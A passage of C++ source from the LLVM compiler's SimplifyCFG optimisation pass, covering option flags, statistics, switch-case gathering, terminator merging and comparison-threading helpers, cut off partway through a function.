"simplifycfg-hoist-cond-stores", cl::Hidden, cl::init(true),
cl::desc("Hoist conditional stores if an unconditional store precedes"));
static cl::opt<bool> MergeCondStores(
"simplifycfg-merge-cond-stores", cl::Hidden, cl::init(true),
cl::desc("Hoist conditional stores even if an unconditional store does not "
"precede - hoist multiple conditional stores into a single "
"predicated store"));
static cl::opt<bool> MergeCondStoresAggressively(
"simplifycfg-merge-cond-stores-aggressively", cl::Hidden, cl::init(false),
cl::desc("When merging conditional stores, do so even if the resultant "
"basic blocks are unlikely to be if-converted as a result"));
static cl::opt<bool> SpeculateOneExpensiveInst(
"speculate-one-expensive-inst", cl::Hidden, cl::init(true),
cl::desc("Allow exactly one expensive instruction to be speculatively "
"executed"));
static cl::opt<unsigned> MaxSpeculationDepth(
"max-speculation-depth", cl::Hidden, cl::init(10),
cl::desc("Limit maximum recursion depth when calculating costs of "
"speculatively executed instructions"));
STATISTIC(NumBitMaps, "Number of switch instructions turned into bitmaps");
STATISTIC(NumLinearMaps,
"Number of switch instructions turned into linear mapping");
STATISTIC(NumLookupTables,
"Number of switch instructions turned into lookup tables");
STATISTIC(
NumLookupTablesHoles,
"Number of switch instructions turned into lookup tables (holes checked)");
STATISTIC(NumTableCmpReuses, "Number of reused switch table lookup compares");
STATISTIC(NumSinkCommons,
"Number of common instructions sunk down to the end block");
STATISTIC(NumSpeculations, "Number of speculative executed instructions");
namespace {
// The first field contains the value that the switch produces when a certain
// case group is selected, and the second field is a vector containing the
// cases composing the case group.
using SwitchCaseResultVectorTy =
SmallVector<std::pair<Constant *, SmallVector<ConstantInt *, 4>>, 2>;
// The first field contains the phi node that generates a result of the switch
// and the second field contains the value generated for a certain case in the
// switch for that PHI.
using SwitchCaseResultsTy = SmallVector<std::pair<PHINode *, Constant *>, 4>;
/// ValueEqualityComparisonCase - Represents a case of a switch.
struct ValueEqualityComparisonCase {
ConstantInt *Value;
BasicBlock *Dest;
ValueEqualityComparisonCase(ConstantInt *Value, BasicBlock *Dest)
: Value(Value), Dest(Dest) {}
bool operator<(ValueEqualityComparisonCase RHS) const {
// Comparing pointers is ok as we only rely on the order for uniquing.
return Value < RHS.Value;
}
bool operator==(BasicBlock *RHSDest) const { return Dest == RHSDest; }
};
class SimplifyCFGOpt {
const TargetTransformInfo &TTI;
const DataLayout &DL;
SmallPtrSetImpl<BasicBlock *> *LoopHeaders;
const SimplifyCFGOptions &Options;
bool Resimplify;
Value *isValueEqualityComparison(Instruction *TI);
BasicBlock *GetValueEqualityComparisonCases(
Instruction *TI, std::vector<ValueEqualityComparisonCase> &Cases);
bool SimplifyEqualityComparisonWithOnlyPredecessor(Instruction *TI,
BasicBlock *Pred,
IRBuilder<> &Builder);
bool FoldValueComparisonIntoPredecessors(Instruction *TI,
IRBuilder<> &Builder);
bool SimplifyReturn(ReturnInst *RI, IRBuilder<> &Builder);
bool SimplifyResume(ResumeInst *RI, IRBuilder<> &Builder);
bool SimplifySingleResume(ResumeInst *RI);
bool SimplifyCommonResume(ResumeInst *RI);
bool SimplifyCleanupReturn(CleanupReturnInst *RI);
bool SimplifyUnreachable(UnreachableInst *UI);
bool SimplifySwitch(SwitchInst *SI, IRBuilder<> &Builder);
bool SimplifyIndirectBr(IndirectBrInst *IBI);
bool SimplifyUncondBranch(BranchInst *BI, IRBuilder<> &Builder);
bool SimplifyCondBranch(BranchInst *BI, IRBuilder<> &Builder);
bool tryToSimplifyUncondBranchWithICmpInIt(ICmpInst *ICI,
IRBuilder<> &Builder);
public:
SimplifyCFGOpt(const TargetTransformInfo &TTI, const DataLayout &DL,
SmallPtrSetImpl<BasicBlock *> *LoopHeaders,
const SimplifyCFGOptions &Opts)
: TTI(TTI), DL(DL), LoopHeaders(LoopHeaders), Options(Opts) {}
bool run(BasicBlock *BB);
bool simplifyOnce(BasicBlock *BB);
// Helper to set Resimplify and return change indication.
bool requestResimplify() {
Resimplify = true;
return true;
}
};
} // end anonymous namespace
/// Return true if it is safe to merge these two
/// terminator instructions together.
static bool
SafeToMergeTerminators(Instruction *SI1, Instruction *SI2,
SmallSetVector<BasicBlock *, 4> *FailBlocks = nullptr) {
if (SI1 == SI2)
return false; // Can't merge with self!
// It is not safe to merge these two switch instructions if they have a common
// successor, and if that successor has a PHI node, and if *that* PHI node has
// conflicting incoming values from the two switch blocks.
BasicBlock *SI1BB = SI1->getParent();
BasicBlock *SI2BB = SI2->getParent();
SmallPtrSet<BasicBlock *, 16> SI1Succs(succ_begin(SI1BB), succ_end(SI1BB));
bool Fail = false;
for (BasicBlock *Succ : successors(SI2BB))
if (SI1Succs.count(Succ))
for (BasicBlock::iterator BBI = Succ->begin(); isa<PHINode>(BBI); ++BBI) {
PHINode *PN = cast<PHINode>(BBI);
if (PN->getIncomingValueForBlock(SI1BB) !=
PN->getIncomingValueForBlock(SI2BB)) {
if (FailBlocks)
FailBlocks->insert(Succ);
Fail = true;
}
}
return !Fail;
}
/// Return true if it is safe and profitable to merge these two terminator
/// instructions together, where SI1 is an unconditional branch. PhiNodes will
/// store all PHI nodes in common successors.
static bool
isProfitableToFoldUnconditional(BranchInst *SI1, BranchInst *SI2,
Instruction *Cond,
SmallVectorImpl<PHINode *> &PhiNodes) {
if (SI1 == SI2)
return false; // Can't merge with self!
assert(SI1->isUnconditional() && SI2->isConditional());
// We fold the unconditional branch if we can easily update all PHI nodes in
// common successors:
// 1> We have a constant incoming value for the conditional branch;
// 2> We have "Cond" as the incoming value for the unconditional branch;
// 3> SI2->getCondition() and Cond have same operands.
CmpInst *Ci2 = dyn_cast<CmpInst>(SI2->getCondition());
if (!Ci2)
return false;
if (!(Cond->getOperand(0) == Ci2->getOperand(0) &&
Cond->getOperand(1) == Ci2->getOperand(1)) &&
!(Cond->getOperand(0) == Ci2->getOperand(1) &&
Cond->getOperand(1) == Ci2->getOperand(0)))
return false;
BasicBlock *SI1BB = SI1->getParent();
BasicBlock *SI2BB = SI2->getParent();
SmallPtrSet<BasicBlock *, 16> SI1Succs(succ_begin(SI1BB), succ_end(SI1BB));
for (BasicBlock *Succ : successors(SI2BB))
if (SI1Succs.count(Succ))
for (BasicBlock::iterator BBI = Succ->begin(); isa<PHINode>(BBI); ++BBI) {
PHINode *PN = cast<PHINode>(BBI);
if (PN->getIncomingValueForBlock(SI1BB) != Cond ||
!isa<ConstantInt>(PN->getIncomingValueForBlock(SI2BB)))
return false;
PhiNodes.push_back(PN);
}
return true;
}
/// Update PHI nodes in Succ to indicate that there will now be entries in it
/// from the 'NewPred' block. The values that will be flowing into the PHI nodes
/// will be the same as those coming in from ExistPred, an existing predecessor
/// of Succ.
static void AddPredecessorToBlock(BasicBlock *Succ, BasicBlock *NewPred,
BasicBlock *ExistPred,
MemorySSAUpdater *MSSAU = nullptr) {
for (PHINode &PN : Succ->phis())
PN.addIncoming(PN.getIncomingValueForBlock(ExistPred), NewPred);
if (MSSAU)
if (auto *MPhi = MSSAU->getMemorySSA()->getMemoryAccess(Succ))
MPhi->addIncoming(MPhi->getIncomingValueForBlock(ExistPred), NewPred);
}
/// Compute an abstract "cost" of speculating the given instruction,
/// which is assumed to be safe to speculate. TCC_Free means cheap,
/// TCC_Basic means less cheap, and TCC_Expensive means prohibitively
/// expensive.
static unsigned ComputeSpeculationCost(const User *I,
const TargetTransformInfo &TTI) {
assert(isSafeToSpeculativelyExecute(I) &&
"Instruction is not safe to speculatively execute!");
return TTI.getUserCost(I);
}
/// If we have a merge point of an "if condition" as accepted above,
/// return true if the specified value dominates the block. We
/// don't handle the true generality of domination here, just a special case
/// which works well enough for us.
///
/// If AggressiveInsts is non-null, and if V does not dominate BB, we check to
/// see if V (which must be an instruction) and its recursive operands
/// that do not dominate BB have a combined cost lower than CostRemaining and
/// are non-trapping. If both are true, the instruction is inserted into the
/// set and true is returned.
///
/// The cost for most non-trapping instructions is defined as 1 except for
/// Select whose cost is 2.
///
/// After this function returns, CostRemaining is decreased by the cost of
/// V plus its non-dominating operands. If that cost is greater than
/// CostRemaining, false is returned and CostRemaining is undefined.
static bool DominatesMergePoint(Value *V, BasicBlock *BB,
SmallPtrSetImpl<Instruction *> &AggressiveInsts,
unsigned &CostRemaining,
const TargetTransformInfo &TTI,
unsigned Depth = 0) {
// It is possible to hit a zero-cost cycle (phi/gep instructions for example),
// so limit the recursion depth.
// TODO: While this recursion limit does prevent pathological behavior, it
// would be better to track visited instructions to avoid cycles.
if (Depth == MaxSpeculationDepth)
return false;
Instruction *I = dyn_cast<Instruction>(V);
if (!I) {
// Non-instructions all dominate instructions, but not all constantexprs
// can be executed unconditionally.
if (ConstantExpr *C = dyn_cast<ConstantExpr>(V))
if (C->canTrap())
return false;
return true;
}
BasicBlock *PBB = I->getParent();
// We don't want to allow weird loops that might have the "if condition" in
// the bottom of this block.
if (PBB == BB)
return false;
// If this instruction is defined in a block that contains an unconditional
// branch to BB, then it must be in the 'conditional' part of the "if
// statement". If not, it definitely dominates the region.
BranchInst *BI = dyn_cast<BranchInst>(PBB->getTerminator());
if (!BI || BI->isConditional() || BI->getSuccessor(0) != BB)
return true;
// If we have seen this instruction before, don't count it again.
if (AggressiveInsts.count(I))
return true;
// Okay, it looks like the instruction IS in the "condition". Check to
// see if it's a cheap instruction to unconditionally compute, and if it
// only uses stuff defined outside of the condition. If so, hoist it out.
if (!isSafeToSpeculativelyExecute(I))
return false;
unsigned Cost = ComputeSpeculationCost(I, TTI);
// Allow exactly one instruction to be speculated regardless of its cost
// (as long as it is safe to do so).
// This is intended to flatten the CFG even if the instruction is a division
// or other expensive operation. The speculation of an expensive instruction
// is expected to be undone in CodeGenPrepare if the speculation has not
// enabled further IR optimizations.
if (Cost > CostRemaining &&
(!SpeculateOneExpensiveInst || !AggressiveInsts.empty() || Depth > 0))
return false;
// Avoid unsigned wrap.
CostRemaining = (Cost > CostRemaining) ? 0 : CostRemaining - Cost;
// Okay, we can only really hoist these out if their operands do
// not take us over the cost threshold.
for (User::op_iterator i = I->op_begin(), e = I->op_end(); i != e; ++i)
if (!DominatesMergePoint(*i, BB, AggressiveInsts, CostRemaining, TTI,
Depth + 1))
return false;
// Okay, it's safe to do this! Remember this instruction.
AggressiveInsts.insert(I);
return true;
}
/// Extract ConstantInt from value, looking through IntToPtr
/// and PointerNullValue. Return NULL if value is not a constant int.
static ConstantInt *GetConstantInt(Value *V, const DataLayout &DL) {
// Normal constant int.
ConstantInt *CI = dyn_cast<ConstantInt>(V);
if (CI || !isa<Constant>(V) || !V->getType()->isPointerTy())
return CI;
// This is some kind of pointer constant. Turn it into a pointer-sized
// ConstantInt if possible.
IntegerType *PtrTy = cast<IntegerType>(DL.getIntPtrType(V->getType()));
// Null pointer means 0, see SelectionDAGBuilder::getValue(const Value*).
if (isa<ConstantPointerNull>(V))
return ConstantInt::get(PtrTy, 0);
// IntToPtr const int.
if (ConstantExpr *CE = dyn_cast<ConstantExpr>(V))
if (CE->getOpcode() == Instruction::IntToPtr)
if (ConstantInt *CI = dyn_cast<ConstantInt>(CE->getOperand(0))) {
// The constant is very likely to have the right type already.
if (CI->getType() == PtrTy)
return CI;
else
return cast<ConstantInt>(
ConstantExpr::getIntegerCast(CI, PtrTy, /*isSigned=*/false));
}
return nullptr;
}
namespace {
/// Given a chain of or (||) or and (&&) comparison of a value against a
/// constant, this will try to recover the information required for a switch
/// structure.
/// It will depth-first traverse the chain of comparison, seeking for patterns
/// like %a == 12 or %a < 4 and combine them to produce a set of integer
/// representing the different cases for the switch.
/// Note that if the chain is composed of '||' it will build the set of elements
/// that matches the comparisons (i.e. any of this value validate the chain)
/// while for a chain of '&&' it will build the set elements that make the test
/// fail.
struct ConstantComparesGatherer {
const DataLayout &DL;
/// Value found for the switch comparison
Value *CompValue = nullptr;
/// Extra clause to be checked before the switch
Value *Extra = nullptr;
/// Set of integers to match in switch
SmallVector<ConstantInt *, 8> Vals;
/// Number of comparisons matched in the and/or chain
unsigned UsedICmps = 0;
/// Construct and compute the result for the comparison instruction Cond
ConstantComparesGatherer(Instruction *Cond, const DataLayout &DL) : DL(DL) {
gather(Cond);
}
ConstantComparesGatherer(const ConstantComparesGatherer &) = delete;
ConstantComparesGatherer &
operator=(const ConstantComparesGatherer &) = delete;
private:
/// Try to set the current value used for the comparison, it succeeds only if
/// it wasn't set before or if the new value is the same as the old one
bool setValueOnce(Value *NewVal) {
if (CompValue && CompValue != NewVal)
return false;
CompValue = NewVal;
return (CompValue != nullptr);
}
/// Try to match Instruction "I" as a comparison against a constant and
/// populates the array Vals with the set of values that match (or do not
/// match depending on isEQ).
/// Return false on failure. On success, the Value the comparison matched
/// against is placed in CompValue.
/// If CompValue is already set, the function is expected to fail if a match
/// is found but the value compared to is different.
bool matchInstruction(Instruction *I, bool isEQ) {
// If this is an icmp against a constant, handle this as one of the cases.
ICmpInst *ICI;
ConstantInt *C;
if (!((ICI = dyn_cast<ICmpInst>(I)) &&
(C = GetConstantInt(I->getOperand(1), DL)))) {
return false;
}
Value *RHSVal;
const APInt *RHSC;
// Pattern match a special case
// (x & ~2^z) == y --> x == y || x == y|2^z
// This undoes a transformation done by instcombine to fuse 2 compares.
if (ICI->getPredicate() == (isEQ ? ICmpInst::ICMP_EQ : ICmpInst::ICMP_NE)) {
// It's a little bit hard to see why the following transformations are
// correct. Here is a CVC3 program to verify them for 64-bit values:
/*
ONE : BITVECTOR(64) = BVZEROEXTEND(0bin1, 63);
x : BITVECTOR(64);
y : BITVECTOR(64);
z : BITVECTOR(64);
mask : BITVECTOR(64) = BVSHL(ONE, z);
QUERY( (y & ~mask = y) =>
((x & ~mask = y) <=> (x = y OR x = (y | mask)))
);
QUERY( (y | mask = y) =>
((x | mask = y) <=> (x = y OR x = (y & ~mask)))
);
*/
// Please note that each pattern must be a dual implication (<--> or
// iff). One directional implication can create spurious matches. If the
// implication is only one-way, an unsatisfiable condition on the left
// side can imply a satisfiable condition on the right side. Dual
// implication ensures that satisfiable conditions are transformed to
// other satisfiable conditions and unsatisfiable conditions are
// transformed to other unsatisfiable conditions.
// Here is a concrete example of a unsatisfiable condition on the left
// implying a satisfiable condition on the right:
//
// mask = (1 << z)
// (x & ~mask) == y --> (x == y || x == (y | mask))
//
// Substituting y = 3, z = 0 yields:
// (x & -2) == 3 --> (x == 3 || x == 2)
// Pattern match a special case:
/*
QUERY( (y & ~mask = y) =>
((x & ~mask = y) <=> (x = y OR x = (y | mask)))
);
*/
if (match(ICI->getOperand(0),
m_And(m_Value(RHSVal), m_APInt(RHSC)))) {
APInt Mask = ~*RHSC;
if (Mask.isPowerOf2() && (C->getValue() & ~Mask) == C->getValue()) {
// If we already have a value for the switch, it has to match!
if (!setValueOnce(RHSVal))
return false;
Vals.push_back(C);
Vals.push_back(
ConstantInt::get(C->getContext(),
C->getValue() | Mask));
UsedICmps++;
return true;
}
}
// Pattern match a special case:
/*
QUERY( (y | mask = y) =>
((x | mask = y) <=> (x = y OR x = (y & ~mask)))
);
*/
if (match(ICI->getOperand(0),
m_Or(m_Value(RHSVal), m_APInt(RHSC)))) {
APInt Mask = *RHSC;
if (Mask.isPowerOf2() && (C->getValue() | Mask) == C->getValue()) {
// If we already have a value for the switch, it has to match!
if (!setValueOnce(RHSVal))
return false;
Vals.push_back(C);
Vals.push_back(ConstantInt::get(C->getContext(),
C->getValue() & ~Mask));
UsedICmps++;
return true;
}
}
// If we already have a value for the switch, it has to match!
if (!setValueOnce(ICI->getOperand(0)))
return false;
UsedICmps++;
Vals.push_back(C);
return ICI->getOperand(0);
}
// If we have "x ult 3", for example, then we can add 0,1,2 to the set.
ConstantRange Span = ConstantRange::makeAllowedICmpRegion(
ICI->getPredicate(), C->getValue());
// Shift the range if the compare is fed by an add. This is the range
// compare idiom as emitted by instcombine.
Value *CandidateVal = I->getOperand(0);
if (match(I->getOperand(0), m_Add(m_Value(RHSVal), m_APInt(RHSC)))) {
Span = Span.subtract(*RHSC);
CandidateVal = RHSVal;
}
// If this is an and/!= check, then we are looking to build the set of
// value that *don't* pass the and chain. I.e. to turn "x ugt 2" into
// x != 0 && x != 1.
if (!isEQ)
Span = Span.inverse();
// If there are a ton of values, we don't want to make a ginormous switch.
if (Span.isSizeLargerThan(8) || Span.isEmptySet()) {
return false;
}
// If we already have a value for the switch, it has to match!
if (!setValueOnce(CandidateVal))
return false;
// Add all values from the range to the set
for (APInt Tmp = Span.getLower(); Tmp != Span.getUpper(); ++Tmp)
Vals.push_back(ConstantInt::get(I->getContext(), Tmp));
UsedICmps++;
return true;
}
/// Given a potentially 'or'd or 'and'd together collection of icmp
/// eq/ne/lt/gt instructions that compare a value against a constant, extract
/// the value being compared, and stick the list constants into the Vals
/// vector.
/// One "Extra" case is allowed to differ from the other.
void gather(Value *V) {
Instruction *I = dyn_cast<Instruction>(V);
bool isEQ = (I->getOpcode() == Instruction::Or);
// Keep a stack (SmallVector for efficiency) for depth-first traversal
SmallVector<Value *, 8> DFT;
SmallPtrSet<Value *, 8> Visited;
// Initialize
Visited.insert(V);
DFT.push_back(V);
while (!DFT.empty()) {
V = DFT.pop_back_val();
if (Instruction *I = dyn_cast<Instruction>(V)) {
// If it is a || (or && depending on isEQ), process the operands.
if (I->getOpcode() == (isEQ ? Instruction::Or : Instruction::And)) {
if (Visited.insert(I->getOperand(1)).second)
DFT.push_back(I->getOperand(1));
if (Visited.insert(I->getOperand(0)).second)
DFT.push_back(I->getOperand(0));
continue;
}
// Try to match the current instruction
if (matchInstruction(I, isEQ))
// Match succeed, continue the loop
continue;
}
// One element of the sequence of || (or &&) could not be match as a
// comparison against the same value as the others.
// We allow only one "Extra" case to be checked before the switch
if (!Extra) {
Extra = V;
continue;
}
// Failed to parse a proper sequence, abort now
CompValue = nullptr;
break;
}
}
};
} // end anonymous namespace
static void EraseTerminatorAndDCECond(Instruction *TI,
MemorySSAUpdater *MSSAU = nullptr) {
Instruction *Cond = nullptr;
if (SwitchInst *SI = dyn_cast<SwitchInst>(TI)) {
Cond = dyn_cast<Instruction>(SI->getCondition());
} else if (BranchInst *BI = dyn_cast<BranchInst>(TI)) {
if (BI->isConditional())
Cond = dyn_cast<Instruction>(BI->getCondition());
} else if (IndirectBrInst *IBI = dyn_cast<IndirectBrInst>(TI)) {
Cond = dyn_cast<Instruction>(IBI->getAddress());
}
TI->eraseFromParent();
if (Cond)
RecursivelyDeleteTriviallyDeadInstructions(Cond, nullptr, MSSAU);
}
/// Return true if the specified terminator checks
/// to see if a value is equal to constant integer value.
Value *SimplifyCFGOpt::isValueEqualityComparison(Instruction *TI) {
Value *CV = nullptr;
if (SwitchInst *SI = dyn_cast<SwitchInst>(TI)) {
// Do not permit merging of large switch instructions into their
// predecessors unless there is only one predecessor.
if (!SI->getParent()->hasNPredecessorsOrMore(128 / SI->getNumSuccessors()))
CV = SI->getCondition();
} else if (BranchInst *BI = dyn_cast<BranchInst>(TI))
if (BI->isConditional() && BI->getCondition()->hasOneUse())
if (ICmpInst *ICI = dyn_cast<ICmpInst>(BI->getCondition())) {
if (ICI->isEquality() && GetConstantInt(ICI->getOperand(1), DL))
CV = ICI->getOperand(0);
}
// Unwrap any lossless ptrtoint cast.
if (CV) {
if (PtrToIntInst *PTII = dyn_cast<PtrToIntInst>(CV)) {
Value *Ptr = PTII->getPointerOperand();
if (PTII->getType() == DL.getIntPtrType(Ptr->getType()))
CV = Ptr;
}
}
return CV;
}
/// Given a value comparison instruction,
/// decode all of the 'cases' that it represents and return the 'default' block.
BasicBlock *SimplifyCFGOpt::GetValueEqualityComparisonCases(
Instruction *TI, std::vector<ValueEqualityComparisonCase> &Cases) {
if (SwitchInst *SI = dyn_cast<SwitchInst>(TI)) {
Cases.reserve(SI->getNumCases());
for (auto Case : SI->cases())
Cases.push_back(ValueEqualityComparisonCase(Case.getCaseValue(),
Case.getCaseSuccessor()));
return SI->getDefaultDest();
}
BranchInst *BI = cast<BranchInst>(TI);
ICmpInst *ICI = cast<ICmpInst>(BI->getCondition());
BasicBlock *Succ = BI->getSuccessor(ICI->getPredicate() == ICmpInst::ICMP_NE);
Cases.push_back(ValueEqualityComparisonCase(
GetConstantInt(ICI->getOperand(1), DL), Succ));
return BI->getSuccessor(ICI->getPredicate() == ICmpInst::ICMP_EQ);
}
/// Given a vector of bb/value pairs, remove any entries
/// in the list that match the specified block.
static void
EliminateBlockCases(BasicBlock *BB,
std::vector<ValueEqualityComparisonCase> &Cases) {
Cases.erase(std::remove(Cases.begin(), Cases.end(), BB), Cases.end());
}
/// Return true if there are any keys in C1 that exist in C2 as well.
static bool ValuesOverlap(std::vector<ValueEqualityComparisonCase> &C1,
std::vector<ValueEqualityComparisonCase> &C2) {
std::vector<ValueEqualityComparisonCase> *V1 = &C1, *V2 = &C2;
// Make V1 be smaller than V2.
if (V1->size() > V2->size())
std::swap(V1, V2);
if (V1->empty())
return false;
if (V1->size() == 1) {
// Just scan V2.
ConstantInt *TheVal = (*V1)[0].Value;
for (unsigned i = 0, e = V2->size(); i != e; ++i)
if (TheVal == (*V2)[i].Value)
return true;
}
// Otherwise, just sort both lists and compare element by element.
array_pod_sort(V1->begin(), V1->end());
array_pod_sort(V2->begin(), V2->end());
unsigned i1 = 0, i2 = 0, e1 = V1->size(), e2 = V2->size();
while (i1 != e1 && i2 != e2) {
if ((*V1)[i1].Value == (*V2)[i2].Value)
return true;
if ((*V1)[i1].Value < (*V2)[i2].Value)
++i1;
else
++i2;
}
return false;
}
// Set branch weights on SwitchInst. This sets the metadata if there is at
// least one non-zero weight.
static void setBranchWeights(SwitchInst *SI, ArrayRef<uint32_t> Weights) {
// Check that there is at least one non-zero weight. Otherwise, pass
// nullptr to setMetadata which will erase the existing metadata.
MDNode *N = nullptr;
if (llvm::any_of(Weights, [](uint32_t W) { return W != 0; }))
N = MDBuilder(SI->getParent()->getContext()).createBranchWeights(Weights);
SI->setMetadata(LLVMContext::MD_prof, N);
}
// Similar to the above, but for branch and select instructions that take
// exactly 2 weights.
static void setBranchWeights(Instruction *I, uint32_t TrueWeight,
uint32_t FalseWeight) {
assert(isa<BranchInst>(I) || isa<SelectInst>(I));
// Check that there is at least one non-zero weight. Otherwise, pass
// nullptr to setMetadata which will erase the existing metadata.
MDNode *N = nullptr;
if (TrueWeight || FalseWeight)
N = MDBuilder(I->getParent()->getContext())
.createBranchWeights(TrueWeight, FalseWeight);
I->setMetadata(LLVMContext::MD_prof, N);
}
/// If TI is known to be a terminator instruction and its block is known to
/// only have a single predecessor block, check to see if that predecessor is
/// also a value comparison with the same value, and if that comparison
/// determines the outcome of this comparison. If so, simplify TI. This does a
/// very limited form of jump threading.
bool SimplifyCFGOpt::SimplifyEqualityComparisonWithOnlyPredecessor(
Instruction *TI, BasicBlock *Pred, IRBuilder<> &Builder) {
Value *PredVal = isValueEqualityComparison(Pred->getTerminator());
if (!PredVal)
return false; // Not a value comparison in predecessor.
Value *ThisVal = isValueEqualityComparison(TI);
assert(ThisVal && "This isn't a value comparison!!");
if (ThisVal != PredVal)
return false; // Different predicates.
// TODO: Preserve branch weight metadata, similarly to how
// FoldValueComparisonIntoPredecessors preserves it.
// Find out information about when control will move from Pred to TI's block.
std::vector<ValueEqualityComparisonCase> PredCases;
BasicBlock *PredDef =
GetValueEqualityComparisonCases(Pred->getTerminator(), PredCases);
EliminateBlockCases(PredDef, PredCases); // Remove default from cases.
// Find information about how control leaves this block.
std::vector<ValueEqualityComparisonCase> ThisCases;
BasicBlock *ThisDef = GetValueEqualityComparisonCases(TI, ThisCases);
EliminateBlockCases(ThisDef, ThisCases); // Remove default from cases.
// If TI's block is the default block from Pred's comparison, potentially
// simplify TI based on this knowledge.
if (PredDef == TI->getParent()) {
// If we are here, we know that the value is none of those cases listed in
// PredCases. If there are any cases in ThisCases that are in PredCases, we
// can simplify TI.
if (!ValuesOverlap(PredCases, ThisCases))
return false;
if (isa<BranchInst>(TI)) {
// Okay, one of the successors of this condbr is dead. Convert it to a
// uncond br.
assert(ThisCases.size() == 1 && "Branch can only have one case!");
// Insert the new branch.
Instruction *NI = Builder.CreateBr(ThisDef);
(void)NI;
// Remove PHI node entries for the dead edge.
ThisCases[0].Dest->removePredecessor(TI->getParent());
LLVM_DEBUG(dbgs() << "Threading pred instr: " << *Pred->getTerminator()
<< "Through successor TI: " << *TI << "Leaving: " << *NI
<< "\n");
EraseTerminatorAndDCECond(TI);
return true;
}
SwitchInstProfUpdateWrapper SI = *cast<SwitchInst>(TI);
// Okay, TI has cases that are statically dead, prune them away.
SmallPtrSet<Constant *, 16> DeadCases;
for (unsigned i = 0, e = PredCases.size(); i != e; ++i)
DeadCases.insert(PredCases[i].Value);
LLVM_DEBUG(dbgs() << "Threading pred instr: " << *Pred->getTerminator()
<< "Through successor TI: " << *TI);
for (SwitchInst::CaseIt i = SI->case_end(), e = SI->case_begin(); i != e;) {
--i;
if (DeadCases.count(i->getCaseValue())) {
i->getCaseSuccessor()->removePredecessor(TI->getParent());
SI.removeCase(i);
}
}
LLVM_DEBUG(dbgs() << "Leaving: " << *TI << "\n");
return true;
}
// Otherwise, TI's block must correspond to some matched value. Find out
// which value (or set of values) this is.
ConstantInt *TIV = nullptr;
BasicBlock *TIBB = TI->getParent();
for (unsigned i = 0, e = PredCases.size(); i != e; ++i)
if (PredCases[i].Dest == TIBB) {
if (TIV)
return false; // Cannot handle multiple values coming to this block.
TIV = PredCases[i].Value;
}
assert(TIV && "No edge from pred to succ?");
// Okay, we found the one constant that our value can be if we get into TI's
// BB. Find out which successor will unconditionally be branched to.
BasicBlock *TheRealDest = nullptr;
for (unsigned i = 0, e = ThisCases.size(); i != e; ++i)
if (ThisCases[i].Value == TIV) {
TheRealDest = ThisCases[i].Dest;
break;
}
// If not handled by any explicit cases, it is handled by the default case.
if (!TheRealDest)
TheRealDest = ThisDef;
// Remove PHI node entries for dead edges.
BasicBlock *CheckEdge = TheRealDest;
for (BasicBlock *Succ : successors(TIBB))
if (Succ != CheckEdge)
Succ->removePredecessor(TIBB);
else
CheckEdge = nullptr;
// Insert the new branch.
Instruction *NI = Builder.CreateBr(TheRealDest);
(void)NI;
LLVM_DEBUG(dbgs() << "Threading pred instr: " << *Pred->getTerminator()
<< "Through successor TI: " << *TI << "Leaving: " << *NI
<< "\n");
EraseTerminatorAndDCECond(TI);
return true;
}
namespace {
/// This class implements a stable ordering of constant
/// integers that does not depend on their address. This is important for
/// applications that sort ConstantInt's to ensure uniqueness.
struct ConstantIntOrdering {
bool operator()(const ConstantInt *LHS, const ConstantInt *RHS) const {
return LHS->getValue().ult(RHS->getValue());
}
};
} // end anonymous namespace
static int ConstantIntSortPredicate(ConstantInt *const *P1,
ConstantInt *const *P2) {
const ConstantInt *LHS = *P1;
const ConstantInt *RHS = *P2;
if (LHS == RHS)
return 0;
return LHS->getValue().ult(RHS->getValue()) ? 1 : -1;
}
static inline bool HasBranchWeights(const Instruction *I) {
MDNode *ProfMD = I->getMetadata(LLVMContext::MD_prof);
if (ProfMD && ProfMD->getOperand(0))
if (MDString *MDS = dyn_cast<MDString>(ProfMD->getOperand(0)))
return MDS->getString().equals("branch_weights");
return false;
}
/// Get Weights of a given terminator, the default weight is at the front
/// of the vector. If TI is a conditional eq, we need to swap the branch-weight
/// metadata.
static void GetBranchWeights(Instruction *TI,
SmallVectorImpl<uint64_t> &Weights) {
MDNode *MD = TI->getMetadata(LLVMContext::MD_prof);
assert(MD);
for (unsigned i = 1, e = MD->getNumOperands(); i < e; ++i) {
ConstantInt *CI = mdconst::extract<ConstantInt>(MD->getOperand(i));
Weights.push_back(CI->getValue().getZExtValue());
}
// If TI is a conditional eq, the default case is the false case,
// and the corresponding branch-weight data is at index 2. We swap the
// default weight to be the first entry.
if (BranchInst *BI = dyn_cast<BranchInst>(TI)) {
assert(Weights.size() == 2);
ICmpInst *ICI = cast<ICmpInst>(BI->getCondition());
if (ICI->getPredicate() == ICmpInst::ICMP_EQ)
std::swap(Weights.front(), Weights.back());
}
}
/// Keep halving the weights until all can fit in uint32_t.
static void FitWeights(MutableArrayRef<uint64_t> Weights) {
uint64_t Max = *std::max_element(Weights.begin(), Weights.end());
if (Max > UINT_MAX) {
unsigned Offset = 32 - countLeadingZeros(Max);
for (uint64_t &I : Weights)
I >>= Offset;
}
}
/// The specified terminator is a value equality comparison instruction
/// (either a switch or a branch on "X == c").
/// See if any of the predecessors of the terminator block are value comparisons
/// on the same value. If so, and if safe to do so, fold them together.
bool SimplifyCFGOpt::FoldValueComparisonIntoPredecessors(Instruction *TI,
IRBuilder<> &Builder) {
BasicBlock *BB = TI->getParent();
Value *CV = isValueEqualityComparison(TI); // CondVal
assert(CV && "Not a comparison?");
bool Changed = false;
SmallVector<BasicBlock *, 16> Preds(pred_begin(BB), pred_end(BB));
while (!Preds.empty()) {
BasicBlock *Pred = Preds.pop_back_val();
// See if the predecessor is a comparison with the same value.
Instruction *PTI = Pred->getTerminator();
Value *PCV = isValueEqualityComparison(PTI); // PredCondVal
if (PCV == CV && TI != PTI) {
SmallSetVector<BasicBlock*, 4> FailBlocks;
if (!SafeToMergeTerminators(TI, PTI, &FailBlocks)) {
for (auto *Succ : FailBlocks) {
if (!SplitBlockPredecessors(Succ, TI->getParent(), ".fold.split"))
return false;
}
}
// Figure out which 'cases' to copy from SI to PSI.
std::vector<ValueEqualityComparisonCase> BBCases;
BasicBlock *BBDefault = GetValueEqualityComparisonCases(TI, BBCases);
std::vector<ValueEqualityComparisonCase> PredCases;
BasicBlock *PredDefault = GetValueEqualityComparisonCases(PTI, PredCases);
// Based on whether the default edge from PTI goes to BB or not, fill in
// PredCases and PredDefault with the new switch cases we would like to
// build.
SmallVector<BasicBlock *, 8> NewSuccessors;
// Update the branch weight metadata along the way
SmallVector<uint64_t, 8> Weights;
bool PredHasWeights = HasBranchWeights(PTI);
